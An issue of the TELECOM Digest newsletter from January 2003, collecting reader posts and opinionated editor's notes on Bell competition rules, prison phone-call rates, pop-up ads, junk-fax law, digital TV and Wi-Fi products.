Upcoming (ISC)^2 CISSP CBK review seminars (+1-888-333-4458): February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: joe@obilivan.net Subject: Re: Bells Could Win Now, Lose Later Date: Tue, 07 Jan 2003 11:59:24 GMT Organization: Cox Communications It never did make sense to foster ""competition"" by making GM sell a Chevrolet at a discount with Ford logos. Eric Friedebach wrote: > Mark Lewis, 01.06.03, Forbes.com > NEW YORK - Everybody knows that breaking up is hard to do, but the > dismantling of Ma Bell must have set some sort of record. Two decades > have passed since a federal judge ordered an end to the old AT&T > monopoly, yet its four surviving Hydra heads -- better known as the > Baby Bells -- continue to dominate local phone service. > Congress took another shot at fostering local competition in 1996, > but missed the mark. Now, it seems, the Federal Communications > Commission (FCC) may hand the Bells a long-sought victory by > scrapping a rule that requires them to lease their equipment and > lines to local-service rivals at cheap wholesale rates. > Published reports today indicate that the FCC staff is recommending > that the rule be substantially modified. The final decision would be > made next month by FCC Chairman Michael Powell and his fellow > commissioners, who are expected to go along with the proposed change. > http://www.forbes.com/2003/01/06/cx_ml_0106fcc.html > Eric Friedebach [TELECOM Digest Editor's Note: The *only* reason for forcing GM (Ma Bell) to sell Chevrolets at a discount with a Ford Logo is because all the Johnny-come-latelys in the phone business (beginning with the original offender, MCI, followed by Sprint and God-only-knows how many others since) is because *none* of them felt that *they* should be imposed on to lay wire, develop outside plant or invest in a century of research as Bell had to do. MCI got into business by filing a fraudulent application with the Illinois Commerce Commission and selling a bill of goods to a generally hostile (anti-Bell) public. With that, they were off and running. Then every 'competitor' following has used the same tactics, i.e. 'why should we have to do a century of hard labor and brain power to develop a telephone network when we can eat from Bell's table *and* force them to sell to us at a discount so that we in turn can undercut them with the damn fools of the public who still feel Bell is rotten.' Judge Harold Greene, not especially known for his brilliant juris- prudence, used his cronies in the United States 'Justice' Department to give MCI everything they asked for on a silver platter. Or maybe they used him ... If there had been, or is ever going to be fair competion in the phone business, the 'competitors' will need to all the legwork Bell did for a century or so, then when they have their own outside plant, wires, cables in place, a decent judge, making a fair decision can order Bell to open their front door and hand out a bunch of pairs for interconnection purposes, and order Bell to be fair and equitable in number assignments and/or portability. That is *all* that should be required of Bell. PAT] ------------------------------ From: fungus@OCF.Berkeley.EDU (Hank Fung) Subject: Re: Prison Call Overcharging Date: Tue, 7 Jan 2003 08:14:25 UTC Organization: Univ. of California Berkeley Open Computing Facility In article , Justin Time wrote: [regarding PAT's argument that prisoners with contact have lower rates of recidivism] > A typical strawman argument. The incidence of recidivism (sp?) or ""an > inmate that can contact their family is less likely to return to > prison"" is some thing that cannot be either proved or disproved. The > question to ask here is: ""What proof can you cite to prove your > argument?"" Fortunately, there are many sources of proof for this argument. ""As perhaps one of the most important policy matters at stake, there is abundant empirical research, as well as common sense, that informs the Commission that encouraging family members to remain intact helps to lower recidivism. Research findings from the Florida House of Representatives indicate that ""family and community contacts can play a very important role in helping released offenders avoid returning to prison."" (""Maintaining Family Contact When a Family Member Goes to Prison: An Examination of State Policies on Mail, Visiting, and Telephone Access,"" Florida House of Representatives, Justice Council, Committee on Corrections, November 1998.) In fact, Finding No.1 of the Florida Legislature noted the strong connection between familial contact and reduced recidivism. (See Id. at 3) The importance and impact of this research can not be underestimated. Sound public policy dictates that revenue and rates for prison calls be mitigated against the public cost of repeat offenders. The public interest in providing affordable and accessible access to phone contact must be recognized by the Commission as a primary mitigation against permitting significant changes in rate regulation. (See Attachment One for Editorial Board Article from the San Francisco Chronicle)"" http://www.ucan.org/law_policy/teledocs/prisonfcc.html ""The Corrective Services research department has indicated that the lowest rates of recidivism are associated with the maintenance of family ties and the ability of the outside carers to maintain the material and the emotional basesof the prisoners 'home' (Dewdney et al. 1978)."" http://www.aic.gov.au/publications/proceedings/16/Larman.pdf By the way, in most states, based on some quick crack research, it is the prisoner who gives information on individuals to call, which are then screened and approved by the appropriate officials. Thus, it is an affirmative system (requires approval), not a denial system (prisoner can call everyone except certain groups). >> Likewise, family contact reduces stress. Stressed inmates get into >> fights and start riots which are extremely costly. In other words, >> frequent family contact is good for society. > It sure sounds good, and there may be a kernel of truth to the > statement, but again, where is your proof? Cite some statistics that > are verifiable. Yes, riots are costly, but what percentage of rioters > in prisons have no family contact? What percentage of those involved > in fights and riots have regular phone privileges and use the phone > frequently? I know from my work consulting to a department of > corrections that phone privileges are usually one of the last > privileges revoked from an inmate. Legally, revoking phone privileges is difficult, because a prisoner has a right to contact his or her representatives. These statistics are hard to come by, as you know, but they are out there in the academic journals, which are not on the (public) web. If I get time, and if others are interested, I might look them up. > They are often in trouble long before the privilege of using a > telephone is revoked. And family contact is good for society? What > about the inmate who calls a family member so they will go and attempt > to intimidate a witness? Or the inmate who calls associates to keep > their criminal empire functioning? These are not isolated incidents, > there are well documented cases of inmates running gangs, ordering > murders and mayhem and many other illegal activities. -- Remember, I > mentioned the calls are recorded? The only calls that are not > reviewed are those between the client and their legal representative. > That doesn't mean the call isn't recorded, the recorder can't > discriminate to that level, but the content of the call is not > reviewed by court officials who screen the calls for illegal > activities. As I said, called parties are generally screened by the prison, in most states. Also, often funds go to the general fund. California Senate Bill 1978 (2000) stated ""Billing rates for collect telephone calls from prisons include a 33-to 43-percent commission beyond the provider's costs, which in 1998 generated $16 million for the General Fund of the state."" Thus, funds do not go to service those costs, as is alleged. > The point I have been attempting to make is that there is a reason for > some of the high charges paid for telephone calls from correctional > institutions, and it is not to punish the families of the inmates but > to protect the society they harmed in the first place. Maybe so, but there are organizations that are fighting it. Here are some links: Equitable Telephone Charges: http://www.curenational.org/~etc/ Foreign exchange service for prison phone calls: http://www.prisoncalls.com Hank Fung fungus@ocf.berkeley.edu Go Bears! http://www.ocf.berkeley.edu/~fungus [TELECOM Digest Editor's Note: You may be interested to know that prisoners who have attempted to join those two organizations (and a couple others like them, (in Chicago for example there is the 'Alliance to End Phone Call Overcharging of Prisoner Families') are flatly refused permission to join them or recieve literature from the organizations. Literature is refused at the PO Box for the prison and returned to the sender. PAT] ------------------------------ From: Manny Olds Subject: Re: Prison Call Overcharging Date: 7 Jan 2003 13:38:20 GMT Organization: Persiflage Press Justin Time wrote: > refused. The inmate then begins to limit calls to essential > communications and not ""I was bored and thought I would call."" For calling his family, why should he need a better reason than ""I felt like it""? Manny Olds (oldsma@pobox.com) of Riverdale Park, Maryland, USA ""I think that, if there's one clear theme in ""Star Wars,"" it's that no one *has* a family. Or not for long."" -- John Kensmark [TELECOM Digest Editor's Note: Prisoners (in Illinois at least, and I assume most states) are NOT permitted to 'have feelings' or 'opinions' or ideas about anything. If prisoners were allowed to have ideas on their own, or feelings, next thing you know, they might decide to try and act on their feelings/ideas. Where would the corr- ections industry be in that case? And God forbid they should actually build a prison right in Chicago, where the wives and mothers and children could actually hop on a local bus to get there and visit for a few minutes every day or two. The federal government at least is smart enough to have a prison right in downtown Chicago (about a block up the street from Dunkin Donuts; on the corner of Van Buren and Clark Streets). A modern, twenty story highrise building; you could not even tell it was a prison if you did not know that fact. I was downtown one day with a friend; after we had had lunch I walked with her back to the train station where she was getting a train to go home. This was in the days before cell phones; I wanted to make a quick call and stopped to use a payphone in the lobby of the federal prison. She sat in a chair in the lobby while I went in the payphone booth. When I came out she said, ""my, what a nice building this is; is it an office building or an apartment complex?"" I told her it was the Metropolitan Correctional Center, a federal penitentiary. She got these big saucer like eyes, found it hard to believe. I told her ""the men who are in here are here in the custody of the Attorney General of the United States or his authorized representative."" I had just said that when a door opened and a group of men came in, with a woman (female guard) escorting them. They had all been over at the nearby federal courthouse (across the street from Dunkin Donuts) for the daily court hearings for prisoners. Many of them had cups of coffee or beverages and donuts in hand. Obviously the female guard had let them stop in Dunkin Donuts on the way back from court. ""Stop and stand here,"" said the lady. The men all obediently stopped there while she signed herself and them back in with the receptionist in the lobby. ""Go fetch the elevator and wait for me to get on with you,"" she said. The handful of men walked over, called the elevator and waited for her. My friend said, ""aren't they afraid those guys will run off, etc"" I told her, ""they wouldn't dare ... they are too smart to do that."" The feds even allow a select number of the guys to walk around downtown on their own to do shopping each day, or go to work. They have to be in and out at a certain time, *or* be treated as an escaped prisoner. The guys know better than to try that. In many respects, the feds are so much more enlightened on prison reform issues and proper care of inmates than the states are. The prisoners know that if they cannot make do at MCC, their next stop may be Marion, IL or Terre Haute, IN. The feds know it also, so they all smile graciously at each other and the prisoners stay in line. PAT] ------------------------------ From: Loonquawl Subject: Re: Pacific Bell Central Office Names Date: Mon, 6 Jan 2003 23:09:04 -0800 Organization: Astound Broadband wrote in message news:telecom22.219.4@telecom-digest.org: > Steven J. Sobol wrote: >> Jeff Moss wrote: >>> I was at my dad's office last week (they are an Ameritech Distributor) >>> and I threw away tons of Ameritech papers. There was a list of the >>> Cleveland area Central offices. I didnt keep it but I remember they >>> used really odd codes ex. Beachwood (30 sec away from my house) would >>> be BCHW1023i0 or something. >> http://dslreports.com/coinfo > This doesn't give the ""exchange name"" of the CO. > For instance, for 510-638, I know that the exchange name is Oakland > Trinidad, which is _almost_ visible in the output of the nanpa CO > assignment, but not visible at all in the switch name. > NPA |NXX |Company |RC |Switch > 510 |638 |PACIFIC BELL |OKLD TRNID |OKLDCA12DS1 > http://www.nanpa.com/number_resource_info/co_code_assignments.html > http://www.nanpa.com/nanp1/AllCodes.zip ALLCODES.MDB Actually, Oakland Trinidad is the rate center, not the exchange name. Brandon Turok http://www.loonquawl.com/ Dial-A-Machine (925) 288-9825 Free when you call from work ------------------------------ From: William Warren Subject: Re: Pop-ups Add New Twist Organization: Church of the Swimming Bullfrog Date: Tue, 07 Jan 2003 13:34:23 GMT Phil Earnhardt wrote in message news:telecom22.215.6@telecom-digest.org: > On Sun, 22 Dec 2002 00:54:41 -0500, Monty Solomon > wrote: >> Pop-up advertisements, already the bane of millions of Web surfers, >> are becoming more intrusive. > Mozilla (downloadable from www.mozilla.org) now allows you to > categorically disable pop-up windows. [snip] The Proxomitron* (http://www.proxomitron.org/) does a great job at this, too, and it also prevents banner ads from being retrieved and gives me control over cookies. I also cannot believe what a PITA it is to surf the web without it. > There is one ""digital divide"": households that have Internet access > vs. households that don't. Some point to a second divide: high-speed > digital access vs. dial-up access. I think there's a third divide that > may be more important than the second: users who know how to take > effective countermeasures against unsolicited commercial intrusions > (e.g. unsolicited commercial email, pop-up advertising, etc.) and > those who don't. The divide is actually between users who are willing to have their clicks tracked and those who don't. Someone has to pay for the services on these machines, and advertising is the payment mechanism. Therefore, I agree to have ads placed on my screen *when they come from the site I'm visiting*. However, I draw the line at ads served from Doubleclique et al, since the associated loss of privacy is outside of the implied agreement. Of course, one could say that the cookies are part of the agreement, but I disagree: the ads on TV or billboards or newspapers don't phone home and tell their originators who looked. FWIW. Bill *.std_disclaimer: I am not affiliated with the company, related to the owner, don't get any money from it, etc. YMMV. ------------------------------ From: overyonder11@yahoo.com (Overyonder11) Subject: Re: Pop-ups Add New Twist Date: 7 Jan 2003 09:46:00 -0800 Organization: http://groups.google.com/ While Pop-Up Ads are sometimes a bit cumbersome, I do have to give a hats off to Orbitz. They are the only company that I have come across who actually puts some fun and creativity into the Pop-Ups. For that I would actually choose to go to Orbitz first-which does not really matter, since they are my preferred online booking agent- I have had such good luck with them in finding the cheapest fares. Point being- Orbitz makes a difference with their thoughtful pop-ups. Monty Solomon wrote in message news:: > By Stefanie Olsen > Staff Writer, CNET News.com > Pop-up advertisements, already the bane of millions of Web surfers, > are becoming more intrusive. > Pop-up and pop-under ads open a new window when people visit many > popular Web sites, often littering the computer desktop with multiple > browser screens. Advertisers hope people will visit the promoted Web > page by clicking anywhere on the window, although many simply close it > by selecting the ""X"" box in the top-right corner. > But a relatively new feature may make it harder for people to avoid > these windows. Using a technique called the ""kick through,"" > advertisers can direct a person to another Web site if they simply > move their cursor across the pop-up ad -- no clicking is necessary. > Discount travel retailer Orbitz, for example, is delivering millions > of holiday-themed kick-through ads on The New York Times, ESPN.com and > CondeNast sites in addition to others. The ads feature various > animated games, and recipients who simply ""mouse"" over them are > shuttled to Orbitz's home page. > Many people who have encountered the ads say they overstep the > boundaries of an already intrusive and loathed form of Web > advertising. > http://news.com.com/2100-1023-978616.html ------------------------------ From: J Kelly Subject: Re: Extinction Date: Tue, 07 Jan 2003 10:05:32 -0600 Organization: http://extra.newsguy.com On Mon, 06 Jan 2003 09:55:07 -0700, Joey Lindstrom wrote: > (NOTE: before you argue that the broadcasters and studios want to > design this new digital equipment so that it CANNOT be used with > analog equipment, that is an entirely different issue - and I agree > that that would be ""A Bad Thing"" - but so far I don't see any > evidence that this will in fact come to pass.) There has already been proposed legislation that would outlaw any DTV receiver having any sort of Analog output as well as outlawing analog outputs on new DVD players, or any other type of digital to analog video convertor. But I think (hope) you are right and it won't come to pass. If congress passed such a law they would never get re-elected.. ------------------------------ Subject: Re: Extinction Date: Tue, 7 Jan 2003 14:00:19 EST From: msb@vex.net (Mark Brader) Joey Lindstrom writes: > I can just imagine the folks in Sweden, right around the time they > switched from driving on the left side of the road to the right side, > moaning and bitching about how they need protection for their > investments in their cars - which are now more difficult to drive > (y'ever try to execute a pass while driving a car that's on the > ""wrong"" side of the road? You pretty much have to put the entire car > into the oncoming lane before you can even see if anything's coming). Except that most cars in Sweden had *already* had the steering wheel on the left for years *before* they started driving on the right. See . Mark Brader, Toronto ""These Millennia are like buses."" msb@vex.net --Arwel Parry My text in this article is in the public domain. ------------------------------ From: William Warren Subject: Re: Member-Accessible DSL in a Community Rec Center? Organization: Church of the Swimming Bullfrog Date: Tue, 07 Jan 2003 13:16:17 GMT AES/newspost wrote in message news:telecom22.214.2@telecom-digest.org: > We're thinking about trying to establish an elementary broadband > internet connection that could be accessed and shared by unit owners > inside the recreation center of a vacation townhouse community. [snip] > At the same time we'd like to try to limit the public access to > authorized owners only (since they'll probably be chipping in to cover > the annual costs), and not have the public ports turn into a wide open > gateway for local teenagers or computer gamers. Put a Linux box in between the cable/DSL box and your LAN. Set it for DHCP, and change the dhcpd.conf file to give addresses only to hosts with known MAC addresses. If you're feeling generous, have a ""guest"" address that's limited to local printing and/or CNN.COM. HTH. Bill ------------------------------ From: Michael A. Covington Subject: Junk Fax - A Question and a Tactic Date: Tue, 7 Jan 2003 11:44:01 -0500 Organization: University of Georgia Reply-To: Michael A. Covington What is the current law concerning unsolicited faxes? We get one every few days, and I understand the law has been challenged in court and some people, at least, believe it is in doubt. Can someone bring me up to date? Also, I've found a very effective way to deal with junk faxers who give an e-mail or web address on their faxes. Report them to their ISP as a spammer. To find out their ISP, I use the ""tracert"" (Windows) or ""traceroute"" (UNIX) command. Michael A. Covington, Associate Director Artificial Intelligence Center / The University of Georgia / Athens, GA 30602-7415 U.S.A. http://www.ai.uga.edu/~mc http://www.CovingtonInnovations.com <>< ------------------------------ Date: Tue, 7 Jan 2003 15:07:57 -0500 From: Monty Solomon Subject: TiVo, Brother & Aspyr Announce Rendezvous Networked Products CES, LAS VEGAS and MACWORLD EXPO, SAN FRANCISCO-January 7, 2003-The rapid adoption of Rendezvous� continues with TiVo, Brother and Aspyr today announcing new products incorporating Rendezvous networking. Rendezvous is Apple's innovative networking technology for automatic discovery and connection of devices over industry-standard IP networks such as Ethernet and 802.11 wireless networks. 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As movies are increasingly >> broadcast and sold in digital format, Tinseltown execs are panicked >> that consumers will make infinite numbers of perfect digital copies >> and share them over the Internet. > And as anyone knows, seeing grainy, jerky images on a computer screen > with audio through a couple of three-inch speakers beats nearly > perfect images projected onto a 100' screen with audio through > THX-certified sound systems any day of the week. > I guess that movie execs are justified in thinking that suddenly the > movie theaters will be empty. Free (marginal cost) plus an illicit thrill beats $10 for the ticket, $5 for the soda and snacks and the knowledge that you're lining the pockets of people you believe to be despicable. It's amazing to watch the proprietors of an almost entirely discretionary industry working so hard to make their customers wish them ill. It's as if McDonalds hired greeters at every franchise to shout at people, ""We think you're stupid for eating our food! Go away!"" paul oh, wait ------------------------------ From: Jim Thompson Subject: Re: Junk Fax - A Question and a Tactic Date: Wed, 08 Jan 2003 00:20:03 GMT Organization: Cox Communications On Tue, 7 Jan 2003 11:44:01 -0500, Michael A. Covington , in comp.dcom.telecom, , ""Junk Fax - A Question and a Tactic"", wrote the following: > What is the current law concerning unsolicited faxes? We get one > every few days, and I understand the law has been challenged in court > and some people, at least, believe it is in doubt. Can someone bring > me up to date? > Also, I've found a very effective way to deal with junk faxers who > give an e-mail or web address on their faxes. Report them to their > ISP as a spammer. To find out their ISP, I use the ""tracert"" > (Windows) or ""traceroute"" (UNIX) command. I received a junk fax with no CSID. The fax did, however, have a number to fax your *order* to. So I set my scanner on ""photo"" and scanned the back of a paper pad. I sent five pages of this ... took 35 minutes at 14,400 ;-) | James E.Thompson, P.E. | mens | | Analog Innovations, Inc. | et | | Analog/Mixed-Signal ASIC's and Discrete Systems | manus | | Phoenix, Arizona Voice:(480)460-2350 | | | Jim-T@analog_innovations.com Fax:(480)460-2142 | Brass Rat | | http://www.analog-innovations.com | 1962 | For proper E-mail replies SWAP ""-"" and ""_"" I love to cook with wine. Sometimes I even put it in the food. ------------------------------ From: jbl Subject: Re: Junk Fax - A Question and a Tactic Date: Tue, 07 Jan 2003 23:22:13 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , Michael A. Covington wrote: > What is the current law concerning unsolicited faxes? We get one > every few days, and I understand the law has been challenged in court > and some people, at least, believe it is in doubt. Can someone bring > me up to date? Since 1991 the Telephone Consumers Protection Act (TCPA) has prohibited these, or more specifically, ""the transmission of any material advertising the commercial availability or quality of any product, service or property to any person without that person's prior express permission or request."" The law is 47 USC 227 and the FCC regulations that implement the law are 47 CFR 64.1200. Links to these as well as other FCC and Congressional documents may be found at http://www.junkfaxes.org/ - click on the ""Federal Law"" button. Other buttons will lead you to various state laws and actions you can take. > Also, I've found a very effective way to deal with junk faxers who > give an e-mail or web address on their faxes. Report them to their > ISP as a spammer. Can't hurt. JBL ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Junk Fax - A Question and a Tactic Date: 7 Jan 2003 21:32:53 -0500 Organization: I.E.C.C., Trumansburg NY USA > What is the current law concerning unsolicited faxes? Same as it's been since 1991. Unsolicited faxed ads are completely illegal, and you can sue the sender for $500 per fax. > I understand the law has been challenged in court. There is one decision by Judge Limbaugh in Missouri that has found the law to be unconstitutional. But the law has been upheld in many appeals courts, his decision is currently under appeal, and he's apparently well-known for peculiar decisions that don't stand up on appeal, so few if any other courts are treating it as a precedent. People win junk fax suits all the time. For lots more info see http://www.junkfaxes.org/ John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail PS: Since you asked, he's Rush Limbaugh's uncle. [TELECOM Digest Editor's Note: Does that also apply where you have no actual fax machine, but contract with a service (like e-fax) to take incoming faxes and convert them to email and send them out like .tif files to your Outlook Express? Anyway, I suppose the sender would claim (as they do with much email spam) that what they did was not 'unsolicited'; that you had signed up at one time or another, in some place or another, to get their dream vacation faxes, etc. PAT] ------------------------------ From: adykes@panix.com (Al Dykes) Subject: Anyone Know of Web Site That Covers Server Hosting Colocation? Date: 7 Jan 2003 19:59:04 -0500 Organization: PANIX -- Public Access Networks Corp. I'm looking for information about remote hosting a business application. Is there a web site that covers this business? Thanks. Al Dykes adykes@panix.com ------------------------------ Date: Tue, 7 Jan 2003 22:44:56 -0500 From: Monty Solomon Subject: Cyberspace Artists Paint Themselves Into a Corner By MATTHEW MIRAPAUL In a 1950's horror movie the Thing was a creature that killed before it was killed. Now in a real-life drama playing on a computer screen near you, the Thing is an Internet service provider that is having trouble staying alive. Some might find this tale equally terrifying. The Thing provides Internet connections for dozens of New York artists and arts organizations, and its liberal attitude allows its clients to exhibit online works that other providers might immediately unplug. As a result the Thing is struggling to survive online. Its own Internet-connection provider is planning to disconnect the Thing over problems created by the Thing's clients. While it may live on, its crisis illustrates how difficult it can be for Internet artists to find a platform from which they can push the medium's boundaries. Wolfgang Staehle, the Thing's founder and executive director, said the high-bandwidth pipeline connecting the Thing to the Internet would be severed on Feb. 28 because its customers had repeatedly violated the pipeline provider's policies. While the exact abuses are not known, they probably involve the improper use of corporate trademarks and generating needless traffic on other sites. If Mr. Staehle is unable to establish a new pipeline, the 100 Web sites and 200 individual customers, mostly artists, that rely on the Thing for Internet service could lose their cyberspace homes. In a telephone interview from the Thing's office in Chelsea, Mr. Staehle (pronounced SHTAW-luh) said, ""It's not fair that 300 of our clients will suffer from this and I might be out of business."" The Thing's pipeline is currently supplied by Verio Inc. of Englewood, Colo., which declines to comment on its troubles with the Thing. Mr. Staehle said that he had not received official word from Verio, but that the company's lawyers told the Thing the service would be cut off because of the violations. http://www.nytimes.com/2002/12/23/arts/design/23ARTS.html ------------------------------ Date: Wed, 8 Jan 2003 01:25:24 -0500 From: Monty Solomon Subject: Apple Ramps up Wireless in Notebooks By Ephraim Schwartz SAN FRANCISCO -- Apple not only introduced an industry first notebook with a 17-inch display, it also became the first major company to deploy as yet unapproved technology for Wi-Fi access. Although the aircraft aluminum packaging, the screen size, the backlit keyboard and the 800Mbps Firewire port are innovative, the use of what is called IEEE 802.11g is just plain daring. It underscores Apple's willingness to take a calculated risk on a nascent technology that has to date not been ratified as a standard by the IEEE Wi-Fi committee. Approval of IEEE 802.11g is expected. It has the unique feature of using the same bandwidth as B -- 2.4GHz -- thus making it backward compatible with B while giving the same performance of the far faster IEEE 802.11a standard which runs at 55Mbps. There are two levels of risk in deploying a G product, according to Brian Grimm, a spokesperson for the Wi-Fi Alliance. http://www.infoworld.com/articles/hn/xml/03/01/07/030107hnwifig.xml ------------------------------ Date: Wed, 8 Jan 2003 01:47:40 -0500 From: Monty Solomon Subject: ExtendAIR AirPort Antennas ExtendAIR Omni Dr. Bott's ExtendAIR Omni is an Apple-certified external antenna that expands the range of Apple's AirPort Extreme Base Station (antenna port required). http://www.drbott.com/prod/db.lasso?code=9141-QUSO ExtendAIR Direct Dr. Bott's ExtendAIR Direct is an external directional antenna that expands the range of Apple's AirPort Base station. ExtendAIR was developed in cooperation with Apple Computer Inc. and incorporates proprietary technology to provide the maximum range for AirPort clients. http://www.drbott.com/prod/db.lasso?code=9142-QUSD ------------------------------ Date: Wed, 8 Jan 2003 16:11:03 -0500 From: Monty Solomon Subject: Wireless TiVo Connection Wireless TiVo Connection How to set up a Series 2 TiVo with an Apple AirPort (802.11b) Wireless Network http://www.alexking.org/index.php?content=technology/tivo.php ------------------------------ From: Diego Morelli Subject: Help Wanted With HDLC NRM, SNRM Date: Wed, 8 Jan 2003 12:21:03 +0100 Hello, I need to reproduce this situation: 1- There is one primary station; 2- There are 2 secondary stations (01, and 02); 3- The primary station set an NRM communication to both secondary stations in sequence (with the commands: XID, SNRM having the secondary station address); 4- The primary station send data (Information Frame, numbered) to both tributary stations simultaneously using the broadcast address FF; 5- The primary station is linked to both the secondaries stations by the mean of the same serial port. I wish to get a PCI board and the correspondent software drivers that can permit me to handle the protocol programmatically by the mean of a certain language like the C language. The Operative System is Windows2000. Can you suggest me a product for reach my goal, please? Regards, Diego Morelli T.R.S. S.p.A. Via della Bufalotta, 378 00139 Rome - Italy Fax +39 0687281550 e-mail: diego.morelli@trs.it ------------------------------ From: Joey Lindstrom Date: Wed, 08 Jan 2003 11:09:01 -0700 Subject: Re: Extinction Reply-To: joey@telussucks.info On Tue, 7 Jan 2003 18:54:27 -0500 (EST), Mark Brader wrote: >> I can just imagine the folks in Sweden, right around the time they >> switched from driving on the left side of the road to the right side, >> moaning and bitching about how they need protection for their >> investments in their cars - which are now more difficult to drive >> (y'ever try to execute a pass while driving a car that's on the >> ""wrong"" side of the road? You pretty much have to put the entire car >> into the oncoming lane before you can even see if anything's coming). > Except that most cars in Sweden had *already* had the steering wheel > on the left for years *before* they started driving on the right. See > . This actually strengthens the analogy. Prior to the change, those who bought left-hand drive cars knew what they were getting into. Perhaps they knew the Big Change was coming, but regardless: they knew at the time of purchase that the car they were buying had a disadvantage today (but might have an advantage tomorrow). Once the Big Change occured, there were still some people with right-hand drive. These people are in exactly the same position that the analog TV people will be in once 2009 or whatever date they eventually settle on comes to pass - except that there'll be cheap equipment available to overcome the disadvantage (I'm sure converting a car from right hand drive to left hand drive can't be a cheap or easy proposition!) Dragging and kicking some people will be dragged into the 21st century. :-) The point here is that the move to DTV is not change for the sake of change. DTV is a huge, HUGE improvement over NTSC - it's progress, pure and simple, and I don't think such a tremendous improvement in the overall quality of television should be held back (or held off completely) because of a few people who won't want to spend fifty bucks on a converter when the time comes - again, assuming their existing analog sets still work at all when the time comes. And anyone buying an expensive analog TV today, knowing what's coming, is a complete idiot who gets what he/she deserves. If you're convinced that analog is doomed and that converter equipment will never be made available, fine - either make do with what you've got for now (and buy new in 2009), or if your current set is pretty much toast now, buy something just good enough to get you through the next six years. A $5000 bigscreen that isn't digital/HDTV is a stupid, stupid purchase right now - especially since, when it comes to big screens, HDTV's are not really much more expensive than analog and are ""future proof"". -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: valentin tihomirov Subject: What is Relation Between DTMF, v.22 and Hayes Commands? Date: Wed, 8 Jan 2003 20:58:07 +0200 Can anyone on this list explain this to me? ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: Prison Call Overcharging Date: 8 Jan 2003 08:21:46 -0800 Organization: http://groups.google.com/ Manny Olds wrote in message news:... > Justin Time wrote: >> refused. The inmate then begins to limit calls to essential >> communications and not ""I was bored and thought I would call."" > For calling his family, why should he need a better reason than ""I felt > like it""? > Manny Olds (oldsma@pobox.com) of Riverdale Park, Maryland, USA Pat, you gave an excellent answer and then illustrated it with a wonderful example from your time in Chicago. What a great many people do not understand, or refuse to understand, is that a person in a correctional institution is there for a specific purpose. That purpose is punishment for harming society. The mistaken idea that making telephone calls whenever you want is a right and not a privilege is forgotten by someone who never had a reason to be severely punished for an aggravated wrong against society. People in prisons are there because they have proven themselves incapable of acting in a normal society. Because they have been put away from society as punishment, certain privileges -- which a lot of people confuse with rights -- have to be resticted. The use of a telephone is not a right, it is not one of the rights guaranteed under the constitution. If it was a right, then why do I have to pay for the telephone I have in my office or at my home. If it is a right, then the government should provide it to me. Freedom of speech is a right, and the restrictions on telephones in correctional institutions does not abridge that right. What is the difference between a prisoner's right to criticize the government than any other citizen's? Absolutely none. Prisoners can criticize the government or other institutions just as freely as you or I, but their ability to broadcast that criticism is limited because of circumstances of their own choosing. No one forced them to take action against society. It was their own free choice to perform an act or acts that society has ruled is not in its interest. Because of their choice, and their actions, they have put themselves in a position where the state, society, has limited their ability to perform acts against society. Being able to do something because they want to do it is not a right, it is a privilege. Prisoners can't drive cars. Even if they still hold a valid driver license they can't drive. Is this a right that has been taken from them? No, it is a privilege that has been revoked. If you can't abide by the rules society has placed on your ability to exercize a privilege, then that privilege should be taken away until you demonstrate your ability to abide with the rules. As Joey Lindstrom would probably say if he joined in the thread - ""Horse Hockey!"" Using a telephone from a correctional facility is a privilege and not a right. If you are going to use a telephone that can conceivably connected to any other telephone, then there have to be restrictions on that telephone if you have proven yourself incapable of abiding by the restrictions society has placed on behavior. Someone has to pay for maintaining those temporary restrictions, and currently it is the person or persons who accept calls from correctional institutions. While the thread is interesting, it is serving no real purpose than to perpetuate the illogical premise that a person who has proven themselves incapable of operating within the bounds set by society deserves the same rights and privileges of a person who does operate within the set bounds. [TELECOM Digest Editor's Note: As the recent television commercial says in promoting Walgreen's Drug Stores, what you say is correct in the town called 'Perfect'. You seem to be forgetting however that most of us live in what is becoming an increasingly corrupt society where (among other things) police officers and prosecutors put much pressure on forensic technicians to 'adjust' the evidence to give them a 'favorable' conclusion. Consider the scandalous affair in Oklahoma City last year where the two bit prostitute who had a job working for police -- as a forensic technician, mind you, (her name was Joyce something, guys in Oklahoma can fill in the blanks here) openly admitted she had been pressured by police to claim the DNA evidence matched in *five* rape cases police were working on -- it did not. In two other cases, semen found in the victim of the rape matched up but that was false also. There were a half-dozen or so other more 'insignificant' crimes where Joyce fingered the perps incorrectly. Joyce claimed her police supervisors had promised to give her a raise in pay if she would 'work along with them'. The Oklahoma governor wound up letting about a dozen guys out of prison who had been falsely put there based on the forensic technician's word. In Chicago, in 1999, after the Chicago Tribune ran a five part series on 'prosecutorial misconduct' detailing how prosecutors thought nothing of making up all sorts of lies -- and in two cases were disbarred because of their behavior -- the prosecutor's screamed bloody murder: didn't the Tribune realize how important their work was at getting scum off the streets and into prison? The Illinois governor wound up releasing **23** men from 'death row' who were not guilty. Gee, said police, we sure hope there were no hard feelings in this matter. In New York City -- one of the most corrupt police forces in the nation, where an entire police precinct had to be demolished and rebuilt from scratch after not a single honest police officer could be found there -- in another precinct five police officers take a dislike to an immigrint person in custody and proceed to sodomize him with a broom stick. Then the other police officers in that facility decide to honor their bizzare 'blue code' and not confess what was done. These examples are not exceptions to the rule in this make-believe town of 'Perfect'; this is how things are getting to be. Police are no better than anyone else; they just get away with what they do because they have a badge and uniform. So please pardon me if I take the little guy's side in this matter. The real victims are the people who got robbed, looted, sexually assaulted and beaten up of course, and then assumed the Keystone Kops of America the Beautiful would protect them and prosecute the wrong-doers. Instead, the Keystone Kops sit down to connive, make up lies and stories about it, select at random the weak people who can do little or nothing to defend them- selves, define them as 'scum', lock them up often times for the rest of their lives, and tell their friends at the newspapers, look what a great job we are doing. And you suggest the little guys have no right to stay in touch with their representatives without imprimatuer from the prison??? I would sort of expect that kind of response from one of the bottom feeders who makes a living with money from the corrections industry. PAT] ------------------------------ From: Joey Lindstrom Date: Wed, 08 Jan 2003 10:52:05 -0700 Subject: Re: Phone calls from prison Reply-To: joey@telussucks.info On Tue, 7 Jan 2003 18:54:27 -0500 (EST), Manny Olds wrote: > Justin Time wrote: 